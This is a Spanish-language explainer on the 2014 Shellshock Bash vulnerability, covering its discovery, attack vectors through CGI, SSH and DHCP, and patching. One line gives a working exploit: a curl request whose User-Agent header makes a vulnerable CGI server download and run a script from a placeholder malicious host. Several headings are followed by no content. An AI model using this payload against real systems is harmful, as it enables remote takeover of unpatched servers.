Shellshock, también conocido como el Bug Bash, es una vulnerabilidad de seguridad que fue descubierta en septiembre de 2014 en Bash (Bourne Again Shell), el intérprete de línea de comandos ampliamente usado en sistemas UNIX y Linux. Bash es fundamental para la administración de comandos y scripts en estos sistemas, lo que hace que la vulnerabilidad sea extremadamente preocupante.
La vulnerabilidad fue descubierta por el investigador de seguridad Stéphane Chazelas y posteriormente catalogada como CVE-2014-6271. Poco después del anuncio inicial, se descubrieron otras relacionadas, extendiéndose el rango de impacto.
La vulnerabilidad de Shellshock permite a los atacantes ejecutar comandos arbitrarios en un sistema afectado si pueden controlar el contenido de ciertas variables de entorno. Este tipo de vulnerabilidad es conocido como "Remote Code Execution" (RCE), y Shellshock es un claro ejemplo de ello.
Si explotada, Shellshock puede llevar a varios efectos dañinos:
La explotación de Shellshock ocurría principalmente a través de las variables de entorno que Bash procesaba. Entre los vectores más comunes de infección se encontraban:
Interacciones con CGIs (Common Gateway Interface): Los servidores web que ejecutaban scripts CGI escrito en Bash eran particularmentes vulnerables. Cuando se hace una solicitud a un script CGI, las variables de entorno son establecidas, y la vulnerabilidad Shellshock permitía que cualquier entrada maliciosamente diseñada se ejecutara.
Servicios SSH: En casos donde el atacante podía establecer el valor de ciertas variables de entorno usadas por servicios como SSH antes de invocar un shell, la vulnerabilidad podía ser explotada.
DHCP Clients: También se demostró que algunas configuraciones del cliente DHCP (Dhclient) eran vulnerables, permitiendo a un servidor DHCP malicioso establecer variables de entorno con valor malicioso.
Un ejemplo típico de explotación de la vulnerabilidad a través de un servidor web CGI podría verse algo así:
curl -H "User-Agent:() { :;}; /bin/bash -c 'wget http://malicious.url/malware.sh -O /tmp/malware.sh && /bin/bash /tmp/malware.sh'" http://vulnerable.website/cgi-bin/example.cgi
En este caso, el encabezado HTTP "User-Agent" está diseñado para explotar la vulnerabilidad Shellshock.
La mitigación y protección contra Shellshock involucraron principalmente:
Actualizaciones y Parcheo: La medida más efectiva fue actualizar Bash a versiones parcheadas. Los principales distribuidores de Linux publicaron actualizaciones tan pronto como se reveló la vulnerabilidad.
Configuraciones Precautorias:
Monitoreo y Detección:
Restricción de Accesos:
Shellshock subrayó la importancia de la gestión de vulnerabilidades en software crítico y la necesidad de respuestas rápidas y adecuadas frente a las amenazas de seguridad a escala global. Cada sistema que utilizaba Bash sin estar actualizado se convertía en un punto de entrada potencial para atacantes, resaltando la cantidad de sistemas interdependientes que pueden verse afectados por una única vulnerabilidad.